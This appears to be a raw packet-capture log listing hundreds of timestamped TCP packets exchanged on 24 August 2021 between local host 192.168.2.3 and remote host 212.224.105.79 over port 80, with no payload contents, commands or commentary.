Aug 24, 2021 14:01:35.622545004 CEST	49723	80	192.168.2.3	212.224.105.79
Aug 24, 2021 14:01:35.622561932 CEST	80	49723	212.224.105.79	192.168.2.3
Aug 24, 2021 14:01:35.622566938 CEST	49723	80	192.168.2.3	212.224.105.79
Aug 24, 2021 14:01:35.622584105 CEST	80	49723	212.224.105.79	192.168.2.3
Aug 24, 2021 14:01:35.622603893 CEST	80	49723	212.224.105.79	192.168.2.3
Aug 24, 2021 14:01:35.622617006 CEST	49723	80	192.168.2.3	212.224.105.79
Aug 24, 2021 14:01:35.622628927 CEST	80	49723	212.224.105.79	192.168.2.3
Aug 24, 2021 14:01:35.622651100 CEST	80	49723	212.224.105.79	192.168.2.3
Aug 24, 2021 14:01:35.622658968 CEST	49723	80	192.168.2.3	212.224.105.79
Aug 24, 2021 14:01:35.622670889 CEST	80	49723	212.224.105.79	192.168.2.3
Aug 24, 2021 14:01:35.622687101 CEST	80	49723	212.224.105.79	192.168.2.3
Aug 24, 2021 14:01:35.622706890 CEST	80	49723	212.224.105.79	192.168.2.3
Aug 24, 2021 14:01:35.622723103 CEST	80	49723	212.224.105.79	192.168.2.3
Aug 24, 2021 14:01:35.622742891 CEST	80	49723	212.224.105.79	192.168.2.3
Aug 24, 2021 14:01:35.622762918 CEST	80	49723	212.224.105.79	192.168.2.3
Aug 24, 2021 14:01:35.622775078 CEST	49723	80	192.168.2.3	212.224.105.79
Aug 24, 2021 14:01:35.622782946 CEST	80	49723	212.224.105.79	192.168.2.3
Aug 24, 2021 14:01:35.622802973 CEST	80	49723	212.224.105.79	192.168.2.3
Aug 24, 2021 14:01:35.622814894 CEST	49723	80	192.168.2.3	212.224.105.79
Aug 24, 2021 14:01:35.622845888 CEST	49723	80	192.168.2.3	212.224.105.79
Aug 24, 2021 14:01:35.622936964 CEST	80	49723	212.224.105.79	192.168.2.3
Aug 24, 2021 14:01:35.622961998 CEST	80	49723	212.224.105.79	192.168.2.3
Aug 24, 2021 14:01:35.622981071 CEST	80	49723	212.224.105.79	192.168.2.3
Aug 24, 2021 14:01:35.623006105 CEST	80	49723	212.224.105.79	192.168.2.3
Aug 24, 2021 14:01:35.623023033 CEST	49723	80	192.168.2.3	212.224.105.79
Aug 24, 2021 14:01:35.623028040 CEST	80	49723	212.224.105.79	192.168.2.3
Aug 24, 2021 14:01:35.623049021 CEST	80	49723	212.224.105.79	192.168.2.3
Aug 24, 2021 14:01:35.623050928 CEST	49723	80	192.168.2.3	212.224.105.79
Aug 24, 2021 14:01:35.623070002 CEST	80	49723	212.224.105.79	192.168.2.3
Aug 24, 2021 14:01:35.623090982 CEST	80	49723	212.224.105.79	192.168.2.3
Aug 24, 2021 14:01:35.623090982 CEST	49723	80	192.168.2.3	212.224.105.79
Aug 24, 2021 14:01:35.623110056 CEST	80	49723	212.224.105.79	192.168.2.3
Aug 24, 2021 14:01:35.623150110 CEST	80	49723	212.224.105.79	192.168.2.3
Aug 24, 2021 14:01:35.623169899 CEST	80	49723	212.224.105.79	192.168.2.3
Aug 24, 2021 14:01:35.623179913 CEST	49723	80	192.168.2.3	212.224.105.79
Aug 24, 2021 14:01:35.623189926 CEST	80	49723	212.224.105.79	192.168.2.3
Aug 24, 2021 14:01:35.623203039 CEST	49723	80	192.168.2.3	212.224.105.79
Aug 24, 2021 14:01:35.623209953 CEST	80	49723	212.224.105.79	192.168.2.3
Aug 24, 2021 14:01:35.623230934 CEST	80	49723	212.224.105.79	192.168.2.3
Aug 24, 2021 14:01:35.623250008 CEST	80	49723	212.224.105.79	192.168.2.3
Aug 24, 2021 14:01:35.623250961 CEST	49723	80	192.168.2.3	212.224.105.79
Aug 24, 2021 14:01:35.623270988 CEST	49723	80	192.168.2.3	212.224.105.79
Aug 24, 2021 14:01:35.623270988 CEST	80	49723	212.224.105.79	192.168.2.3
Aug 24, 2021 14:01:35.623291016 CEST	80	49723	212.224.105.79	192.168.2.3
Aug 24, 2021 14:01:35.623316050 CEST	80	49723	212.224.105.79	192.168.2.3
Aug 24, 2021 14:01:35.623323917 CEST	49723	80	192.168.2.3	212.224.105.79
Aug 24, 2021 14:01:35.623337984 CEST	80	49723	212.224.105.79	192.168.2.3
Aug 24, 2021 14:01:35.623353958 CEST	49723	80	192.168.2.3	212.224.105.79
Aug 24, 2021 14:01:35.623358011 CEST	80	49723	212.224.105.79	192.168.2.3
Aug 24, 2021 14:01:35.623378992 CEST	80	49723	212.224.105.79	192.168.2.3
Aug 24, 2021 14:01:35.623399019 CEST	80	49723	212.224.105.79	192.168.2.3
Aug 24, 2021 14:01:35.623419046 CEST	80	49723	212.224.105.79	192.168.2.3
Aug 24, 2021 14:01:35.623420000 CEST	49723	80	192.168.2.3	212.224.105.79
Aug 24, 2021 14:01:35.623439074 CEST	80	49723	212.224.105.79	192.168.2.3
Aug 24, 2021 14:01:35.623459101 CEST	49723	80	192.168.2.3	212.224.105.79
Aug 24, 2021 14:01:35.623460054 CEST	80	49723	212.224.105.79	192.168.2.3
Aug 24, 2021 14:01:35.623481989 CEST	49723	80	192.168.2.3	212.224.105.79
Aug 24, 2021 14:01:35.623483896 CEST	80	49723	212.224.105.79	192.168.2.3
Aug 24, 2021 14:01:35.623507023 CEST	80	49723	212.224.105.79	192.168.2.3
Aug 24, 2021 14:01:35.623527050 CEST	80	49723	212.224.105.79	192.168.2.3
Aug 24, 2021 14:01:35.623534918 CEST	49723	80	192.168.2.3	212.224.105.79
Aug 24, 2021 14:01:35.623547077 CEST	80	49723	212.224.105.79	192.168.2.3
Aug 24, 2021 14:01:35.623568058 CEST	80	49723	212.224.105.79	192.168.2.3
Aug 24, 2021 14:01:35.623570919 CEST	49723	80	192.168.2.3	212.224.105.79
Aug 24, 2021 14:01:35.623586893 CEST	80	49723	212.224.105.79	192.168.2.3
Aug 24, 2021 14:01:35.623606920 CEST	49723	80	192.168.2.3	212.224.105.79
Aug 24, 2021 14:01:35.623615026 CEST	80	49723	212.224.105.79	192.168.2.3
Aug 24, 2021 14:01:35.623636007 CEST	80	49723	212.224.105.79	192.168.2.3
Aug 24, 2021 14:01:35.623656034 CEST	80	49723	212.224.105.79	192.168.2.3
Aug 24, 2021 14:01:35.623665094 CEST	49723	80	192.168.2.3	212.224.105.79
Aug 24, 2021 14:01:35.623677015 CEST	80	49723	212.224.105.79	192.168.2.3
Aug 24, 2021 14:01:35.623697996 CEST	80	49723	212.224.105.79	192.168.2.3
Aug 24, 2021 14:01:35.623706102 CEST	49723	80	192.168.2.3	212.224.105.79
Aug 24, 2021 14:01:35.623723984 CEST	80	49723	212.224.105.79	192.168.2.3
Aug 24, 2021 14:01:35.623745918 CEST	80	49723	212.224.105.79	192.168.2.3
Aug 24, 2021 14:01:35.623759985 CEST	49723	80	192.168.2.3	212.224.105.79
Aug 24, 2021 14:01:35.623766899 CEST	80	49723	212.224.105.79	192.168.2.3
Aug 24, 2021 14:01:35.623788118 CEST	80	49723	212.224.105.79	192.168.2.3
Aug 24, 2021 14:01:35.623791933 CEST	49723	80	192.168.2.3	212.224.105.79
Aug 24, 2021 14:01:35.623809099 CEST	80	49723	212.224.105.79	192.168.2.3
Aug 24, 2021 14:01:35.623830080 CEST	80	49723	212.224.105.79	192.168.2.3
Aug 24, 2021 14:01:35.623831034 CEST	49723	80	192.168.2.3	212.224.105.79
Aug 24, 2021 14:01:35.623877048 CEST	49723	80	192.168.2.3	212.224.105.79
Aug 24, 2021 14:01:35.623902082 CEST	80	49723	212.224.105.79	192.168.2.3
Aug 24, 2021 14:01:35.623929024 CEST	80	49723	212.224.105.79	192.168.2.3
Aug 24, 2021 14:01:35.623950005 CEST	80	49723	212.224.105.79	192.168.2.3
Aug 24, 2021 14:01:35.623970032 CEST	80	49723	212.224.105.79	192.168.2.3
Aug 24, 2021 14:01:35.623991013 CEST	80	49723	212.224.105.79	192.168.2.3
Aug 24, 2021 14:01:35.623996019 CEST	49723	80	192.168.2.3	212.224.105.79
Aug 24, 2021 14:01:35.624017000 CEST	80	49723	212.224.105.79	192.168.2.3
Aug 24, 2021 14:01:35.624020100 CEST	49723	80	192.168.2.3	212.224.105.79
Aug 24, 2021 14:01:35.624038935 CEST	80	49723	212.224.105.79	192.168.2.3
Aug 24, 2021 14:01:35.624058962 CEST	80	49723	212.224.105.79	192.168.2.3
Aug 24, 2021 14:01:35.624061108 CEST	49723	80	192.168.2.3	212.224.105.79
Aug 24, 2021 14:01:35.624080896 CEST	80	49723	212.224.105.79	192.168.2.3
Aug 24, 2021 14:01:35.624100924 CEST	80	49723	212.224.105.79	192.168.2.3
Aug 24, 2021 14:01:35.624104977 CEST	49723	80	192.168.2.3	212.224.105.79
Aug 24, 2021 14:01:35.624120951 CEST	80	49723	212.224.105.79	192.168.2.3
Aug 24, 2021 14:01:35.624141932 CEST	80	49723	212.224.105.79	192.168.2.3
Aug 24, 2021 14:01:35.624144077 CEST	49723	80	192.168.2.3	212.224.105.79
Aug 24, 2021 14:01:35.624162912 CEST	80	49723	212.224.105.79	192.168.2.3
Aug 24, 2021 14:01:35.624188900 CEST	80	49723	212.224.105.79	192.168.2.3
Aug 24, 2021 14:01:35.624207973 CEST	49723	80	192.168.2.3	212.224.105.79
Aug 24, 2021 14:01:35.624212980 CEST	80	49723	212.224.105.79	192.168.2.3
Aug 24, 2021 14:01:35.624232054 CEST	49723	80	192.168.2.3	212.224.105.79
Aug 24, 2021 14:01:35.624233961 CEST	80	49723	212.224.105.79	192.168.2.3
Aug 24, 2021 14:01:35.624253988 CEST	80	49723	212.224.105.79	192.168.2.3
Aug 24, 2021 14:01:35.624274969 CEST	80	49723	212.224.105.79	192.168.2.3
Aug 24, 2021 14:01:35.624277115 CEST	49723	80	192.168.2.3	212.224.105.79
Aug 24, 2021 14:01:35.624294996 CEST	80	49723	212.224.105.79	192.168.2.3
Aug 24, 2021 14:01:35.624315023 CEST	80	49723	212.224.105.79	192.168.2.3
Aug 24, 2021 14:01:35.624324083 CEST	49723	80	192.168.2.3	212.224.105.79
Aug 24, 2021 14:01:35.624336004 CEST	80	49723	212.224.105.79	192.168.2.3
Aug 24, 2021 14:01:35.624360085 CEST	80	49723	212.224.105.79	192.168.2.3
Aug 24, 2021 14:01:35.624367952 CEST	49723	80	192.168.2.3	212.224.105.79
Aug 24, 2021 14:01:35.624382019 CEST	80	49723	212.224.105.79	192.168.2.3
Aug 24, 2021 14:01:35.624402046 CEST	80	49723	212.224.105.79	192.168.2.3
Aug 24, 2021 14:01:35.624411106 CEST	49723	80	192.168.2.3	212.224.105.79
Aug 24, 2021 14:01:35.624423027 CEST	80	49723	212.224.105.79	192.168.2.3
Aug 24, 2021 14:01:35.624444008 CEST	80	49723	212.224.105.79	192.168.2.3
Aug 24, 2021 14:01:35.624454021 CEST	49723	80	192.168.2.3	212.224.105.79
Aug 24, 2021 14:01:35.624464035 CEST	80	49723	212.224.105.79	192.168.2.3
Aug 24, 2021 14:01:35.624480963 CEST	49723	80	192.168.2.3	212.224.105.79
Aug 24, 2021 14:01:35.624484062 CEST	80	49723	212.224.105.79	192.168.2.3
Aug 24, 2021 14:01:35.624505043 CEST	80	49723	212.224.105.79	192.168.2.3
Aug 24, 2021 14:01:35.624528885 CEST	80	49723	212.224.105.79	192.168.2.3
Aug 24, 2021 14:01:35.624552011 CEST	80	49723	212.224.105.79	192.168.2.3
Aug 24, 2021 14:01:35.624552965 CEST	49723	80	192.168.2.3	212.224.105.79
Aug 24, 2021 14:01:35.624572992 CEST	80	49723	212.224.105.79	192.168.2.3
Aug 24, 2021 14:01:35.624592066 CEST	49723	80	192.168.2.3	212.224.105.79
Aug 24, 2021 14:01:35.624593019 CEST	80	49723	212.224.105.79	192.168.2.3
Aug 24, 2021 14:01:35.624613047 CEST	80	49723	212.224.105.79	192.168.2.3
Aug 24, 2021 14:01:35.624615908 CEST	49723	80	192.168.2.3	212.224.105.79
Aug 24, 2021 14:01:35.624633074 CEST	80	49723	212.224.105.79	192.168.2.3
Aug 24, 2021 14:01:35.624653101 CEST	80	49723	212.224.105.79	192.168.2.3
Aug 24, 2021 14:01:35.624661922 CEST	49723	80	192.168.2.3	212.224.105.79
Aug 24, 2021 14:01:35.624674082 CEST	80	49723	212.224.105.79	192.168.2.3
Aug 24, 2021 14:01:35.624697924 CEST	80	49723	212.224.105.79	192.168.2.3
Aug 24, 2021 14:01:35.624701977 CEST	49723	80	192.168.2.3	212.224.105.79
Aug 24, 2021 14:01:35.624720097 CEST	80	49723	212.224.105.79	192.168.2.3
Aug 24, 2021 14:01:35.624739885 CEST	80	49723	212.224.105.79	192.168.2.3
Aug 24, 2021 14:01:35.624761105 CEST	80	49723	212.224.105.79	192.168.2.3
Aug 24, 2021 14:01:35.624780893 CEST	80	49723	212.224.105.79	192.168.2.3
Aug 24, 2021 14:01:35.624789000 CEST	49723	80	192.168.2.3	212.224.105.79
Aug 24, 2021 14:01:35.624800920 CEST	80	49723	212.224.105.79	192.168.2.3
Aug 24, 2021 14:01:35.624802113 CEST	49723	80	192.168.2.3	212.224.105.79
Aug 24, 2021 14:01:35.624819994 CEST	80	49723	212.224.105.79	192.168.2.3
Aug 24, 2021 14:01:35.624826908 CEST	49723	80	192.168.2.3	212.224.105.79
Aug 24, 2021 14:01:35.624840975 CEST	80	49723	212.224.105.79	192.168.2.3
Aug 24, 2021 14:01:35.624865055 CEST	80	49723	212.224.105.79	192.168.2.3
Aug 24, 2021 14:01:35.624866009 CEST	49723	80	192.168.2.3	212.224.105.79
Aug 24, 2021 14:01:35.624886990 CEST	80	49723	212.224.105.79	192.168.2.3
Aug 24, 2021 14:01:35.624907017 CEST	80	49723	212.224.105.79	192.168.2.3
Aug 24, 2021 14:01:35.624917984 CEST	49723	80	192.168.2.3	212.224.105.79
Aug 24, 2021 14:01:35.624944925 CEST	49723	80	192.168.2.3	212.224.105.79
Aug 24, 2021 14:01:35.629095078 CEST	49723	80	192.168.2.3	212.224.105.79
Aug 24, 2021 14:01:35.638556004 CEST	80	49723	212.224.105.79	192.168.2.3
Aug 24, 2021 14:01:35.638582945 CEST	80	49723	212.224.105.79	192.168.2.3
Aug 24, 2021 14:01:35.638603926 CEST	80	49723	212.224.105.79	192.168.2.3
Aug 24, 2021 14:01:35.638621092 CEST	80	49723	212.224.105.79	192.168.2.3
Aug 24, 2021 14:01:35.638638020 CEST	80	49723	212.224.105.79	192.168.2.3
Aug 24, 2021 14:01:35.638664961 CEST	80	49723	212.224.105.79	192.168.2.3
Aug 24, 2021 14:01:35.638681889 CEST	80	49723	212.224.105.79	192.168.2.3
Aug 24, 2021 14:01:35.638684034 CEST	49723	80	192.168.2.3	212.224.105.79
Aug 24, 2021 14:01:35.638696909 CEST	80	49723	212.224.105.79	192.168.2.3
Aug 24, 2021 14:01:35.638712883 CEST	80	49723	212.224.105.79	192.168.2.3
Aug 24, 2021 14:01:35.638720989 CEST	49723	80	192.168.2.3	212.224.105.79
Aug 24, 2021 14:01:35.638729095 CEST	80	49723	212.224.105.79	192.168.2.3
Aug 24, 2021 14:01:35.638757944 CEST	49723	80	192.168.2.3	212.224.105.79
Aug 24, 2021 14:01:35.638782024 CEST	49723	80	192.168.2.3	212.224.105.79
Aug 24, 2021 14:01:35.641340017 CEST	80	49723	212.224.105.79	192.168.2.3
Aug 24, 2021 14:01:35.641361952 CEST	80	49723	212.224.105.79	192.168.2.3
Aug 24, 2021 14:01:35.641377926 CEST	80	49723	212.224.105.79	192.168.2.3
Aug 24, 2021 14:01:35.641393900 CEST	80	49723	212.224.105.79	192.168.2.3
Aug 24, 2021 14:01:35.641410112 CEST	80	49723	212.224.105.79	192.168.2.3
Aug 24, 2021 14:01:35.641427994 CEST	80	49723	212.224.105.79	192.168.2.3
Aug 24, 2021 14:01:35.641448975 CEST	49723	80	192.168.2.3	212.224.105.79
Aug 24, 2021 14:01:35.641479015 CEST	49723	80	192.168.2.3	212.224.105.79
Aug 24, 2021 14:01:35.647133112 CEST	80	49723	212.224.105.79	192.168.2.3
Aug 24, 2021 14:01:35.647161007 CEST	80	49723	212.224.105.79	192.168.2.3
Aug 24, 2021 14:01:35.647176981 CEST	80	49723	212.224.105.79	192.168.2.3
Aug 24, 2021 14:01:35.647192955 CEST	80	49723	212.224.105.79	192.168.2.3
Aug 24, 2021 14:01:35.647207975 CEST	49723	80	192.168.2.3	212.224.105.79
Aug 24, 2021 14:01:35.647212029 CEST	80	49723	212.224.105.79	192.168.2.3
Aug 24, 2021 14:01:35.647228956 CEST	80	49723	212.224.105.79	192.168.2.3
Aug 24, 2021 14:01:35.647244930 CEST	80	49723	212.224.105.79	192.168.2.3
Aug 24, 2021 14:01:35.647253036 CEST	49723	80	192.168.2.3	212.224.105.79
Aug 24, 2021 14:01:35.647260904 CEST	80	49723	212.224.105.79	192.168.2.3
Aug 24, 2021 14:01:35.647277117 CEST	80	49723	212.224.105.79	192.168.2.3
Aug 24, 2021 14:01:35.647291899 CEST	80	49723	212.224.105.79	192.168.2.3
Aug 24, 2021 14:01:35.647300005 CEST	49723	80	192.168.2.3	212.224.105.79
Aug 24, 2021 14:01:35.647309065 CEST	80	49723	212.224.105.79	192.168.2.3
Aug 24, 2021 14:01:35.647324085 CEST	80	49723	212.224.105.79	192.168.2.3
Aug 24, 2021 14:01:35.647342920 CEST	80	49723	212.224.105.79	192.168.2.3
Aug 24, 2021 14:01:35.647357941 CEST	49723	80	192.168.2.3	212.224.105.79
Aug 24, 2021 14:01:35.647358894 CEST	80	49723	212.224.105.79	192.168.2.3
Aug 24, 2021 14:01:35.647375107 CEST	80	49723	212.224.105.79	192.168.2.3
Aug 24, 2021 14:01:35.647389889 CEST	80	49723	212.224.105.79	192.168.2.3
Aug 24, 2021 14:01:35.647399902 CEST	49723	80	192.168.2.3	212.224.105.79
Aug 24, 2021 14:01:35.647406101 CEST	80	49723	212.224.105.79	192.168.2.3
Aug 24, 2021 14:01:35.647422075 CEST	80	49723	212.224.105.79	192.168.2.3
Aug 24, 2021 14:01:35.647429943 CEST	49723	80	192.168.2.3	212.224.105.79
Aug 24, 2021 14:01:35.647438049 CEST	80	49723	212.224.105.79	192.168.2.3
Aug 24, 2021 14:01:35.647454023 CEST	80	49723	212.224.105.79	192.168.2.3
Aug 24, 2021 14:01:35.647464037 CEST	49723	80	192.168.2.3	212.224.105.79
Aug 24, 2021 14:01:35.647473097 CEST	80	49723	212.224.105.79	192.168.2.3
Aug 24, 2021 14:01:35.647489071 CEST	49723	80	192.168.2.3	212.224.105.79
Aug 24, 2021 14:01:35.647489071 CEST	80	49723	212.224.105.79	192.168.2.3
Aug 24, 2021 14:01:35.647505045 CEST	80	49723	212.224.105.79	192.168.2.3
Aug 24, 2021 14:01:35.647521019 CEST	80	49723	212.224.105.79	192.168.2.3
Aug 24, 2021 14:01:35.647536039 CEST	80	49723	212.224.105.79	192.168.2.3
Aug 24, 2021 14:01:35.647552013 CEST	80	49723	212.224.105.79	192.168.2.3
Aug 24, 2021 14:01:35.647553921 CEST	49723	80	192.168.2.3	212.224.105.79
Aug 24, 2021 14:01:35.647567034 CEST	80	49723	212.224.105.79	192.168.2.3
Aug 24, 2021 14:01:35.647582054 CEST	80	49723	212.224.105.79	192.168.2.3
Aug 24, 2021 14:01:35.647593021 CEST	49723	80	192.168.2.3	212.224.105.79
Aug 24, 2021 14:01:35.647600889 CEST	80	49723	212.224.105.79	192.168.2.3
Aug 24, 2021 14:01:35.647618055 CEST	80	49723	212.224.105.79	192.168.2.3
Aug 24, 2021 14:01:35.647624016 CEST	49723	80	192.168.2.3	212.224.105.79
Aug 24, 2021 14:01:35.647633076 CEST	80	49723	212.224.105.79	192.168.2.3
Aug 24, 2021 14:01:35.647650003 CEST	80	49723	212.224.105.79	192.168.2.3
Aug 24, 2021 14:01:35.647653103 CEST	49723	80	192.168.2.3	212.224.105.79
Aug 24, 2021 14:01:35.647665977 CEST	80	49723	212.224.105.79	192.168.2.3
Aug 24, 2021 14:01:35.647680998 CEST	80	49723	212.224.105.79	192.168.2.3
Aug 24, 2021 14:01:35.647696972 CEST	80	49723	212.224.105.79	192.168.2.3
Aug 24, 2021 14:01:35.647707939 CEST	49723	80	192.168.2.3	212.224.105.79
Aug 24, 2021 14:01:35.647712946 CEST	80	49723	212.224.105.79	192.168.2.3
Aug 24, 2021 14:01:35.647732019 CEST	80	49723	212.224.105.79	192.168.2.3
Aug 24, 2021 14:01:35.647746086 CEST	49723	80	192.168.2.3	212.224.105.79
Aug 24, 2021 14:01:35.647748947 CEST	80	49723	212.224.105.79	192.168.2.3
Aug 24, 2021 14:01:35.647764921 CEST	80	49723	212.224.105.79	192.168.2.3
Aug 24, 2021 14:01:35.647773981 CEST	49723	80	192.168.2.3	212.224.105.79
Aug 24, 2021 14:01:35.647782087 CEST	80	49723	212.224.105.79	192.168.2.3
Aug 24, 2021 14:01:35.647798061 CEST	80	49723	212.224.105.79	192.168.2.3
Aug 24, 2021 14:01:35.647805929 CEST	49723	80	192.168.2.3	212.224.105.79
Aug 24, 2021 14:01:35.647813082 CEST	80	49723	212.224.105.79	192.168.2.3
Aug 24, 2021 14:01:35.647828102 CEST	80	49723	212.224.105.79	192.168.2.3
Aug 24, 2021 14:01:35.647835016 CEST	49723	80	192.168.2.3	212.224.105.79
Aug 24, 2021 14:01:35.647844076 CEST	80	49723	212.224.105.79	192.168.2.3
Aug 24, 2021 14:01:35.647861958 CEST	49723	80	192.168.2.3	212.224.105.79
Aug 24, 2021 14:01:35.647861958 CEST	80	49723	212.224.105.79	192.168.2.3
Aug 24, 2021 14:01:35.647878885 CEST	80	49723	212.224.105.79	192.168.2.3
Aug 24, 2021 14:01:35.647895098 CEST	80	49723	212.224.105.79	192.168.2.3
Aug 24, 2021 14:01:35.647902966 CEST	49723	80	192.168.2.3	212.224.105.79
Aug 24, 2021 14:01:35.647914886 CEST	80	49723	212.224.105.79	192.168.2.3
Aug 24, 2021 14:01:35.647938013 CEST	80	49723	212.224.105.79	192.168.2.3
Aug 24, 2021 14:01:35.647939920 CEST	49723	80	192.168.2.3	212.224.105.79
Aug 24, 2021 14:01:35.647957087 CEST	80	49723	212.224.105.79	192.168.2.3
Aug 24, 2021 14:01:35.647967100 CEST	49723	80	192.168.2.3	212.224.105.79
Aug 24, 2021 14:01:35.647973061 CEST	80	49723	212.224.105.79	192.168.2.3
Aug 24, 2021 14:01:35.647989035 CEST	80	49723	212.224.105.79	192.168.2.3
Aug 24, 2021 14:01:35.648006916 CEST	80	49723	212.224.105.79	192.168.2.3
Aug 24, 2021 14:01:35.648010969 CEST	49723	80	192.168.2.3	212.224.105.79
Aug 24, 2021 14:01:35.648024082 CEST	80	49723	212.224.105.79	192.168.2.3
Aug 24, 2021 14:01:35.648039103 CEST	80	49723	212.224.105.79	192.168.2.3
Aug 24, 2021 14:01:35.648050070 CEST	49723	80	192.168.2.3	212.224.105.79
Aug 24, 2021 14:01:35.648055077 CEST	80	49723	212.224.105.79	192.168.2.3
Aug 24, 2021 14:01:35.648070097 CEST	80	49723	212.224.105.79	192.168.2.3
Aug 24, 2021 14:01:35.648082018 CEST	49723	80	192.168.2.3	212.224.105.79
Aug 24, 2021 14:01:35.648085117 CEST	80	49723	212.224.105.79	192.168.2.3
Aug 24, 2021 14:01:35.648101091 CEST	80	49723	212.224.105.79	192.168.2.3
Aug 24, 2021 14:01:35.648117065 CEST	80	49723	212.224.105.79	192.168.2.3
Aug 24, 2021 14:01:35.648118019 CEST	49723	80	192.168.2.3	212.224.105.79
Aug 24, 2021 14:01:35.648135900 CEST	80	49723	212.224.105.79	192.168.2.3
Aug 24, 2021 14:01:35.648148060 CEST	49723	80	192.168.2.3	212.224.105.79
Aug 24, 2021 14:01:35.648152113 CEST	80	49723	212.224.105.79	192.168.2.3
Aug 24, 2021 14:01:35.648183107 CEST	49723	80	192.168.2.3	212.224.105.79
Aug 24, 2021 14:01:35.648206949 CEST	49723	80	192.168.2.3	212.224.105.79
Aug 24, 2021 14:01:35.649101019 CEST	80	49723	212.224.105.79	192.168.2.3
Aug 24, 2021 14:01:35.649120092 CEST	80	49723	212.224.105.79	192.168.2.3
Aug 24, 2021 14:01:35.649137020 CEST	80	49723	212.224.105.79	192.168.2.3
Aug 24, 2021 14:01:35.649152994 CEST	80	49723	212.224.105.79	192.168.2.3
Aug 24, 2021 14:01:35.649167061 CEST	49723	80	192.168.2.3	212.224.105.79
Aug 24, 2021 14:01:35.649168968 CEST	80	49723	212.224.105.79	192.168.2.3
Aug 24, 2021 14:01:35.649185896 CEST	80	49723	212.224.105.79	192.168.2.3
Aug 24, 2021 14:01:35.649203062 CEST	80	49723	212.224.105.79	192.168.2.3
Aug 24, 2021 14:01:35.649223089 CEST	80	49723	212.224.105.79	192.168.2.3
Aug 24, 2021 14:01:35.649224043 CEST	49723	80	192.168.2.3	212.224.105.79
Aug 24, 2021 14:01:35.649240017 CEST	80	49723	212.224.105.79	192.168.2.3
Aug 24, 2021 14:01:35.649255037 CEST	80	49723	212.224.105.79	192.168.2.3
Aug 24, 2021 14:01:35.649267912 CEST	49723	80	192.168.2.3	212.224.105.79
Aug 24, 2021 14:01:35.649271011 CEST	80	49723	212.224.105.79	192.168.2.3
Aug 24, 2021 14:01:35.649287939 CEST	80	49723	212.224.105.79	192.168.2.3
Aug 24, 2021 14:01:35.649302959 CEST	80	49723	212.224.105.79	192.168.2.3
Aug 24, 2021 14:01:35.649305105 CEST	49723	80	192.168.2.3	212.224.105.79
Aug 24, 2021 14:01:35.649318933 CEST	80	49723	212.224.105.79	192.168.2.3
Aug 24, 2021 14:01:35.649334908 CEST	80	49723	212.224.105.79	192.168.2.3
Aug 24, 2021 14:01:35.649341106 CEST	49723	80	192.168.2.3	212.224.105.79
Aug 24, 2021 14:01:35.649353027 CEST	80	49723	212.224.105.79	192.168.2.3
Aug 24, 2021 14:01:35.649370909 CEST	80	49723	212.224.105.79	192.168.2.3
Aug 24, 2021 14:01:35.649373055 CEST	49723	80	192.168.2.3	212.224.105.79
Aug 24, 2021 14:01:35.649385929 CEST	80	49723	212.224.105.79	192.168.2.3
Aug 24, 2021 14:01:35.649400949 CEST	49723	80	192.168.2.3	212.224.105.79
Aug 24, 2021 14:01:35.649403095 CEST	80	49723	212.224.105.79	192.168.2.3
Aug 24, 2021 14:01:35.649419069 CEST	80	49723	212.224.105.79	192.168.2.3
Aug 24, 2021 14:01:35.649434090 CEST	80	49723	212.224.105.79	192.168.2.3
Aug 24, 2021 14:01:35.649444103 CEST	49723	80	192.168.2.3	212.224.105.79
Aug 24, 2021 14:01:35.649449110 CEST	80	49723	212.224.105.79	192.168.2.3
Aug 24, 2021 14:01:35.649465084 CEST	80	49723	212.224.105.79	192.168.2.3
Aug 24, 2021 14:01:35.649483919 CEST	49723	80	192.168.2.3	212.224.105.79
Aug 24, 2021 14:01:35.649485111 CEST	80	49723	212.224.105.79	192.168.2.3
Aug 24, 2021 14:01:35.649502039 CEST	80	49723	212.224.105.79	192.168.2.3
Aug 24, 2021 14:01:35.649514914 CEST	49723	80	192.168.2.3	212.224.105.79
Aug 24, 2021 14:01:35.649518013 CEST	80	49723	212.224.105.79	192.168.2.3
Aug 24, 2021 14:01:35.649533033 CEST	80	49723	212.224.105.79	192.168.2.3
Aug 24, 2021 14:01:35.649544954 CEST	49723	80	192.168.2.3	212.224.105.79
Aug 24, 2021 14:01:35.649549007 CEST	80	49723	212.224.105.79	192.168.2.3
Aug 24, 2021 14:01:35.649564981 CEST	80	49723	212.224.105.79	192.168.2.3
Aug 24, 2021 14:01:35.649580956 CEST	80	49723	212.224.105.79	192.168.2.3
Aug 24, 2021 14:01:35.649581909 CEST	49723	80	192.168.2.3	212.224.105.79
Aug 24, 2021 14:01:35.649595976 CEST	80	49723	212.224.105.79	192.168.2.3
Aug 24, 2021 14:01:35.649612904 CEST	49723	80	192.168.2.3	212.224.105.79
Aug 24, 2021 14:01:35.649615049 CEST	80	49723	212.224.105.79	192.168.2.3
Aug 24, 2021 14:01:35.649636030 CEST	80	49723	212.224.105.79	192.168.2.3
Aug 24, 2021 14:01:35.649642944 CEST	49723	80	192.168.2.3	212.224.105.79
Aug 24, 2021 14:01:35.649651051 CEST	80	49723	212.224.105.79	192.168.2.3
Aug 24, 2021 14:01:35.649667978 CEST	80	49723	212.224.105.79	192.168.2.3
Aug 24, 2021 14:01:35.649672031 CEST	49723	80	192.168.2.3	212.224.105.79
Aug 24, 2021 14:01:35.649683952 CEST	80	49723	212.224.105.79	192.168.2.3
Aug 24, 2021 14:01:35.649699926 CEST	80	49723	212.224.105.79	192.168.2.3
Aug 24, 2021 14:01:35.649712086 CEST	49723	80	192.168.2.3	212.224.105.79
Aug 24, 2021 14:01:35.649715900 CEST	80	49723	212.224.105.79	192.168.2.3
Aug 24, 2021 14:01:35.649732113 CEST	80	49723	212.224.105.79	192.168.2.3
Aug 24, 2021 14:01:35.649741888 CEST	49723	80	192.168.2.3	212.224.105.79
Aug 24, 2021 14:01:35.649750948 CEST	80	49723	212.224.105.79	192.168.2.3
Aug 24, 2021 14:01:35.649769068 CEST	80	49723	212.224.105.79	192.168.2.3
Aug 24, 2021 14:01:35.649775028 CEST	49723	80	192.168.2.3	212.224.105.79
Aug 24, 2021 14:01:35.649792910 CEST	80	49723	212.224.105.79	192.168.2.3
Aug 24, 2021 14:01:35.649806023 CEST	49723	80	192.168.2.3	212.224.105.79
Aug 24, 2021 14:01:35.649812937 CEST	80	49723	212.224.105.79	192.168.2.3
Aug 24, 2021 14:01:35.649828911 CEST	80	49723	212.224.105.79	192.168.2.3
Aug 24, 2021 14:01:35.649833918 CEST	49723	80	192.168.2.3	212.224.105.79
Aug 24, 2021 14:01:35.649844885 CEST	80	49723	212.224.105.79	192.168.2.3
